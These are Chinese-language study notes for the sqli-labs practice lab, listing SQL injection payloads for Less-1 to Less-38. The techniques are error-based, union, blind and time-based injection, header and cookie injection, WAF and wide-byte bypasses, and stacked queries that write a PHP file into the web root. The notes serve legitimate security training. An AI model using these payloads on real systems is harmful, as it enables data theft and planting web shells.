8.Sqli-lab
整体解决思路
1.做基本判断,如果是盲注型,则说明没有回显,无论是错误回显还是正确的结果,直接上来先尝试拼接XXX and 1=1 和 XXX and 1=2
2.根据提示,组合关键字和拼接的字符串和闭合字符,可以尝试不带引号,单引号,双引号,圆括号,单引号+圆括号,双引号+圆括号,双圆括号
3.如果根据提示,和以上各种尝试发现还是没有办法获取到有用信息,database(),则可以考虑分析一下源代码
4.通常使用ordey by来判断列的数量的时候,基本上都是3列,因为select * from users为3列
5. 进行布尔盲注时,先使用已知的payload:and length(database())=8 和 and length(database())=7进行判断,进而substr(database()),1,1)='s'进行
进一步的盲注获取结果
6.尝试将后台可能使用SQL语句写出来,再进行分析
7.如果存在多个参数的时候,可以尝试不同的参数,不一定必须是第一个参数,比如用户名和密码,都可以尝试
8.使用堆叠注入式,第二条SQL语句的查询结果无法回显,则首先考虑报错的情况,如果也没有报错回显,那么考虑写入木马文件的方式:
select "<?php phpinfo(); ?> "into outfile "/opt/lampp/htdocs/security/sqli-labs-php7-master/mm38.php"
9.POST请求,确认POST请求的URL地址和正文数据
一.Page1
1.Less-1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
?id=-1' union select 1,2,database() --+
2.Less-2
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+
?id=-1 union select 1,2,database() --+
3.Less-3
?id=2') and updatexml(1,concat(0x7e,database(),0x7e),1) --+
?id=-1') union select 1,2,database() --+
4.Less-4
?id=2") and updatexml(1,concat(0x7e,database(),0x7e),1) --+
?id=-1") union select 1,2,database() --+
5.Less-5
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
6.Less-6
?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) --+
7.Less-7
# 布尔盲注
?id=1')) and length(database())=8 --+
?id=1')) and (select substr(database(),1,1)='s') --+
# 写入文件
8.Less-8
?id=1' and (select substr(database(),1,1)='s') --+
9.Less-9
时间盲注
?id=1' and if(length(database())=8,sleep(2),1) --+
?id=1' and if((select substr(database(),1,1)='s'),sleep(2),1) --+
10.Less-10
?id=1" and if((select substr(database(),1,1)='s'),sleep(2),1) --+
11.Less-11
登录漏洞
使用F12监听post请求
uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)
#&passwd=admin&submit=Submit
12.Less-12
uname=admin") and updatexml(1,concat(0x7e,database(),0x7e),1)
#&passwd=admin&submit=Submit
13.Less-13
uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),1)
#&passwd=admin&submit=Submit
14.Less-14
uname=admin" and updatexml(1,concat(0x7e,database(),0x7e),1)
#&passwd=admin&submit=Submit
15.Less-15
uname=admin' and if(length(database())=8,sleep(2),1)
#&passwd=admin&submit=Submit
16.Less-16
uname=admin") and if(length(database())=8,sleep(2),1)
#&passwd=admin&submit=Submit
17.Less-17
功能为更新密码,可以猜测SQL语句更新密码,密码注入
uname=admin
&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #
&submit=Submit
18.Less-18
User-Agent: ' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
19.Less-19
Referer: ' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
20.Less-20
Cookie:
Cookie: uname=Dumb' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
二.Page2
21.Less-21
%3D%3D经过URL解码为==,RHVtYg==经过base64解码为Dumb用户名,所以对Cookie进行base64编码
Cookie: uname=RHVtYicgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSBvciAnIA==
22.Less-22
把'改为"
23.Less-23
不能使用注释,可以构建新的闭合
select * from user where id='1' and '1'='2' limit 0,1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
24.Less-24
需登录,然后注入
25.Less-25
and进行URL转码
?id=1'%26%26updatexml(1,concat(0x7e,database(),0x7e),1) --+
26.Less-26
不能使用空格,and使用&&,再使用URL转码
?id=1'%26%26updatexml(1,concat(0x7e,database(),0x7e),1)%26%26'1'='1
26.Less-26a
猜测:select * from user where id=('X') limit 0,1
拼接:select * from user where id=('1')&&('1')=('1') limit 0,1
没有回显,采用盲注
?id=1')%26%26length(database())=8%26%26('1')=('1
27.Less-27
同Less-26
28.Less-28
同Less-26
28.Less-28a
'换成"
29.Less-29
?id=-1' union select 1,2,database() --+
30.Less-30
?id=1" and length(database())=8 --+
31.Less-31
?id=1"%26%26length(database())=8%26%26"1"="1
32.Less-32
WAF对危险字符单引号'进行了过滤,猜测GBK编码,使用%df闭合
?id=1%df'%26%26length(database())=8%26%261=1 --+
33.Less-33
同理Less-32
34.Less-34
POST宽字节注入
35.Less-35
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
36.Less-36
?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
三.Page3
38.Less-38
?id=-1'; select "<?php phpinfo(); ?>" into outfile
"/opt/lampp/htdocs/security/sqli-labs-php7-master/mm38.php" --+